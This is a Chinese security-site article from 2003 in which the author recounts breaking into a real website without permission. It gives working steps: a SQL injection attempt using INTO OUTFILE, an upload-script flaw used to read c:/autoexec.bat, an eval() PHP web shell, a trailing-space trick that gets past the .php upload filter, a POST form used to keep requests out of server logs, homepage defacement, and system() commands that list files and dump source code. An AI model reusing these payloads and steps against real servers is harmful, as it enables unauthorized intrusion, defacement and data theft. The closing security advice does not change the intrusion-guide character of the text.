登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 漏洞分析 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

很简单的攻击 - 314被黑全过程
发表日期:2003-08-18作者:[] 出处:  

314被黑全过程

漏洞在文件上传的功能

本来没打算要黑的,但是因为他们开了FTP服务器,而其中一个用户的密码我又刚好知

道,所以就把他们主页上论坛的代码偷出来看了一下,mySQL的处理不很严密,$id之类

的变量都没有加引号,普通的字符串加了引号但是没有用mysql_escape_string处理,

我一开始就朝这个方向努力。有一个地方是这样写的:

$result=mysql_query("select * from article where flag='' and id="

         .$father,$db);

我在一片id是347贴子里面写了个PHP,然后我post了这么一个father:

347 into outfile 'f:/htdocs/cmd.php'

这样就能把贴子的内容写到php里面。注意,我熟悉他们的文件系统,web文件在

"f:\htdocs\"下面我事先是知道的。

但是没有成功,我开始以为是mysql把文件的权限去掉了,过了一会儿才想起来一定是

他们的php.ini里面设置了

magic_quotes_gpc=On

这样引号到了php脚本里面就自动加上了反斜杠,这么基本的概念我忘了,惭愧惭愧

于是我认为他们的论坛是无懈可击的,但是后来我注意到论坛上的一个上传的功能。我

试了一下,禁止了.php的上传,我觉得没有漏洞,但是出于好奇,我把它处理上传的

php拿下来看了一下,最关键的代码是这样的:

else if (file_exists("upload/".$file_name))

 $upload_error="已经存在一个叫$file_name 的文件。";

else if (strtolower(substr($file_name,-4))==".php")

 $upload_error="不能上传.php 文件。";

else if (preg_match("/\//i",$file_name)) $upload_error="你在干什么?";

else if (!copy($file,"upload/".$file_name)) $upload_error="原因不明。";

看起来判断很严密,因为在windows文件系统里面,最后一个字符是不能为空格的(相

应的材料可以在linux处理vfat的那个模块里面查到)。但是作者没有用

is_upload_file来判断,这个漏洞很久远了,我试了下面的命令:

upload.php?file_name=a.txt&file=c:/autoexec.bat

autoexec.bat就可以用浏览器看见了。我觉得不知足,上传了一个instruction.txt的

文件,文件内容如下:

<?php error_reporting (E_ALL ^ E_NOTICE); eval(StripSlashes($cmd)); ?>

这个文件可以用来执行任何的php命令。我用了这样一个命令:

upload.php?file_name=cmd.php%20&file="f:/htdocs/weed/upload/instruction.txt

作者提示了上传以后文件的位置,所以我很容易知道我传上去的instruction.txt的绝

对路径。注意这里我在cmd.php后面加了一个空格,骗过了作者的php脚本,copy函数

忠实的为我服务了。

这样cmd.php就已经在服务器上了。为了用POST从而不在他们服务器的log里面留下痕

迹,我又在本地写了这样一个html(事实上上面的upload.php的攻击也应该用POST):

<form method="post" action="http://xxx/weed/upload/cmd.php">

<input name="cmd" type="input" style="{width:400}" />

<input type="submit" value="go" />

</form>

然后就是直接发命令了,我先上传了一个我自己的首页,然后依次在我自己的html的文

本框里面输入以下内容再post上去:

rename("f:/htdocs/index.php", "f:/htdocs/index.old.php");

rename("f:/htdocs/weed/upload/mypage.html", "f:/htdocs/index.html");

好了,首页已经被改掉了。然后就是很老套了,服务器上有了后门,操作就容易了:

system("dir c:\\");

这个列出了服务器上c:\下面的文件

system("type f:\\htdocs\\weed\\forum.php");

这个列出了论坛的一个PHP的源码。

忠告:做大站点很难保证代码没有一点问题,但是要注意的是,即使是很小的一个漏

洞,也可能可以毁了整个站点。

wuxinan@wuxinan.net

ATP

攻击方法都是很老套的了,可以自由转载

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 很简单的攻击 - 314被黑全过程

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00201